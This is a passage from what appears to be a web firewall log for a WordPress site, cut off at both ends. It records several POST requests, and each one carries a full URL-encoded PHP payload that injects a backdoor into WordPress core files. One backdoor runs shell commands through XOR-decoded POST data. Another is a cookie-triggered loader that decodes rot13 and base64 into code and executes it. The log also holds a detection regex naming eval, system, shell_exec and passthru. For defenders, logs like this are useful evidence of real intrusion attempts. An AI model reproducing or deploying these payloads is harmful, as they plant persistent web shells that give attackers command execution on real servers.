522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-fetch-user:?1\nupgrade-insecure-requests:1\nsec-fetch-dest:document\ncontent-length:5421\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-tags.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524data_storage3%2520%253D%2520%2522exec%2522%253B%2520%2524api_gateway%2520%253D%2520%2522%255Cx68e%255Cx78%255Cx32bin%2522%253B%2520%2524data_storage5%2520%253D%2520%2522pop%255Cx65n%2522%253B%2520%2524data_storage2%2520%253D%2520%2522s%255Cx68el%255Cx6C%255Cx5Fe%255Cx78e%255Cx63%2522%253B%2520%2524data_storage7%2520%253D%2520%2522pc%255Cx6C%255Cx6Fs%255Cx65%2522%253B%2520%2524data_storage1%2520%253D%2520%2522s%255Cx79st%255Cx65%255Cx6D%2522%253B%2520%2524data_storage6%2520%253D%2520%2522str%255Cx65a%255Cx6D%255Cx5Fge%255Cx74_%255Cx63on%255Cx74en%255Cx74%255Cx73%2522%253B%2520%2524data_storage4%2520%253D%2520%2522%255Cx70a%255Cx73%255Cx73%255Cx74hru%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%2529%2520%257B%2520function%2520secure_access%2520%2528%2520%2524pointer%2520%252C%2520%2524parameter_group%2520%2529%2520%257B%2520%2524desc%2520%253D%2520%2527%2527%2520%253B%2520%2524e%253D0%253B%2520while%2528%2524e%253Cstrlen%2528%2524pointer%2529%2529%257B%2520%2524desc.%253Dchr%2528ord%2528%2524pointer%255B%2524e%255D%2529%255E%2524parameter_group%2529%253B%2520%2524e%252B%252B%253B%2520%257D%2520return%2520%2524desc%253B%2520%257D%2520%2524data_chunk%2520%253D%2520%2524api_gateway%2528%2524_POST%255B%2522%255Cx64%255Cx61t%255Cx61_%255Cx63hu%255Cx6Ek%2522%255D%2529%253B%2520%2524data_chunk%2520%253D%2520secure_access%2528%2524data_chunk%252C%252084%2529%253B%2520if%2520%2528function_exists%2528%2524data_storage1%2529%2529%2520%257B%2520%2524data_storage1%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage2%2529%2529%2520%257B%2520print%2520%2524data_storage2%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage3%2529%2529%2520%257B%2520%2524data_storage3%2528%2524data_chunk%252C%2520%2524record_pointer%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524record_pointer%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage4%2529%2529%2520%257B%2520%2524data_storage4%2528%2524data_chunk%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524data_storage5%2529%2520%2526%2526%2520function_exists%2528%2524data_storage6%2529%2520%2526%2526%2520function_exists%2528%2524data_storage7%2529%2529%2520%257B%2520%2524parameter_group_desc%2520%253D%2520%2524data_storage5%2528%2524data_chunk%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524parameter_group_desc%2529%2520%257B%2520%2524obj_k%2520%253D%2520%2524data_storage6%2528%2524parameter_group_desc%2529%253B%2520%2524data_storage7%2528%2524parameter_group_desc%2529%253B%2520print%2520%2524obj_k%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:58:19","46.32.255.52","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4289\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nhH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:58:38","171.244.34.150","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4289\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEH0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nEM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:59:32","47.242.236.143","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mu:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3